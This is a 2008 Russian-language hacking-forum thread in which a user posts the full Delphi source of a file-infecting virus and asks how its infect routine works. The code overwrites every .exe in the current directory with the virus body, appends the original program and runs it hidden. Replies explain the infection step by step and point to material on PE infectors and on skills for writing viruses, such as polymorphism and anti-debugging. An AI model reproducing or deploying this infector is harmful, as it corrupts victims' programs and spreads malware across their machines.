ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Есть исходник и пара вопросов!
  #1  
Старый 30.05.2008, 16:50
ZirroCool
Участник форума
Регистрация: 16.09.2006
Сообщений: 139
Провел на форуме:
513709

Репутация: 144
Отправить сообщение для ZirroCool с помощью ICQ
По умолчанию Есть исходник и пара вопросов!

Вот собственно исходник какого то вируса с форума хакер!
Хотел бы чтобы знающие люди мне обьяснили технологию внедрения программы в другую программу ну а собственно действия процедуры infect! Было бы не плохо именно с разбора по полочкам данной процедуры,в особенности интересует функция seek! За ранее большое спасибо!
Код:
program injector;

uses
  windows,sysutils,shellapi;

const virsize=44032;

var
victims:tsearchrec;
f1,f2:file;

procedure infect(victim:string);
var
  a:integer;
  Buf: array[1..virsize] of byte;
  nr,nw:longint;
begin
  try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
  repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
  until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
  except
  end;
end;

procedure go;
label 10;
var
  Buf: array[1..virsize] of byte;
  rect:trect;
  nr,nw:longint;
begin
  ////
  try
    filemode :=0;
    assignfile(f1,paramstr(0));
    reset(f1,1);
    filemode :=2;
    assignfile(f2,paramstr(0)+'.exe');
    rewrite(f2,1);
    seek(f1,virsize);
    seek(f2,0) ;
  repeat
    filemode :=0;
    BlockRead(f1, Buf,virsize, NR);
    filemode :=2;
    BlockWrite(f2, Buf, NR, NW);
    until (NR = 0) or (NW <> NR) ;
    closefile(f1);
    closefile(f2);
    ShellExecute(0,'open',pchar(paramstr(0)+ '.exe'), nil, nil, SW_Hide);
    if not deletefile(pchar(paramstr(0)+'.exe')) then
    begin
      //--
    end;
    except
  end;
   ////
end;

begin
  filemode :=0;
  assignfile(f1,paramstr(0));
  reset(f1,1);
  if filesize(f1)>virsize then go;
  closefile(f1);
  filemode :=2;
  if FindFirst('*.exe', Faanyfile, victims) = 0 then
  repeat
    if not ((victims.Name)=extractfilename(paramstr(0))) then begin
    if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);
  end;
  until FindNext(victims)<>0 ;
end.
 
Ответить с цитированием

  #2  
Старый 30.05.2008, 18:33
z01b
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
Провел на форуме:
2360904

Репутация: 1393


По умолчанию

Ф-ция seek, перемещает курсор к заданной записи (binary mode)

Последний раз редактировалось z01b; 30.05.2008 в 18:37..
 
Ответить с цитированием

  #3  
Старый 30.05.2008, 18:40
0verbreaK
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме:
379101

Репутация: 136
По умолчанию

Код:
    seek(f2,0); {  переход в начало}
    blockread(f2,buf,virsize); { считали с буфер с позиции  }
    filemode:=2 ; { режим открытия файлов (по дефолту 2)}
    closefile(f2); 
    assignfile(f1,victim);
    rewrite(f1,1); {открыли для перезаписи}
    blockwrite(f1,buf,virsize); {записали буфер}
В общем не качественный вирус-инфектор, лучше поразбирай, инфекторы, юзающие
PE формат, добавление новой секции, внедрение в PE заголовок, если не ошибаюсь
это вирус-спутник.
 
Ответить с цитированием

  #4  
Старый 30.05.2008, 19:05
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
По умолчанию

ОМГ мною был написан очень похожий вирус в далеком 98-м году по такому же принципу и тоже на Паскале )))
 
Ответить с цитированием

  #5  
Старый 30.05.2008, 19:22
x0man
Познающий
Регистрация: 24.02.2006
Сообщений: 34
Провел на форуме:
136883

Репутация: 50
По умолчанию

говно код... =\ хотьбы FindClose() вызвал... в конце поиска... кривые руки это делали =\\ не в обиду будет сказанно =\\\

а вообще, похоже что этот говно код тупо берёт, переписывает все EXE в текущей директории, своей копией при этом записывая "перезаписываемый" EXE в конец себя...

и при запуске получается что сначала запустится "псевдо вирус", а потом оригинальный "сдампленный" EXE... только автор не подумал на счёт иконок... а следовало бы...

кто не понял что я хотел сказать, извините)) не умею объяснять %)
 
Ответить с цитированием

  #6  
Старый 30.05.2008, 19:45
Jes
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме:
3371897

Репутация: 1462
По умолчанию

Цитата:
Сообщение от ZirroCool  
Хотел бы чтобы знающие люди мне обьяснили технологию внедрения программы в другую программу ну а собственно действия процедуры infect!
Здесь нет прямого ответа на твой вопрос , но ты без труда поймёшь :
http://wasm.ru/series.php?sid=4
+ советовал бы почитать думаю для начала Румянцева "Работа с файлами в Win API" ...
 
Ответить с цитированием

  #7  
Старый 30.05.2008, 20:17
ZirroCool
Участник форума
Регистрация: 16.09.2006
Сообщений: 139
Провел на форуме:
513709

Репутация: 144
Отправить сообщение для ZirroCool с помощью ICQ
По умолчанию

всем спасибо уже сам весь исходник прокопал!!! Тему можно закрыть! Кому интересно http://www.kiber-zona.org/index.php?showtopic=2917
 
Ответить с цитированием

  #8  
Старый 31.05.2008, 12:07
taha
Постоянный
Регистрация: 20.08.2006
Сообщений: 327
Провел на форуме:
2472378

Репутация: 1077
По умолчанию

мдааааа, x0man... прав был Крыс Касперски, когда говорил, что вирусы пишут все кому не лень! "/
ТС, для того, чтобы написать вирус, тебе необходимы знания PE-формата, ассемблера, техник поли/метаморфизма, антиотладки, смешивания,обфускации

прочти хотя бы серию "от зеленого к красному"
 
Ответить с цитированием

  #9  
Старый 01.06.2008, 06:58
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

http://wasm.ru/publist.php?list=6
И вот сам труЪ инфектор
http://wasm.ru/article.php?article=peinfector
 
Ответить с цитированием

  #10  
Старый 02.06.2008, 14:16
Andres
Постоянный
Регистрация: 04.04.2008
Сообщений: 527
Провел на форуме:
1494768

Репутация: 272


По умолчанию

Ого..прикольно..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Пара риторических вопросов Scipio Болталка 12 25.12.2007 19:14
Есть дыра, но кавычки запрещены Skala АнтиАдмин 15 27.04.2005 08:26
Пара вопросов по Phpbb 2.0.8 и форуму Web Wiz R!ikoSHeTT Форумы 1 13.01.2005 08:53



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ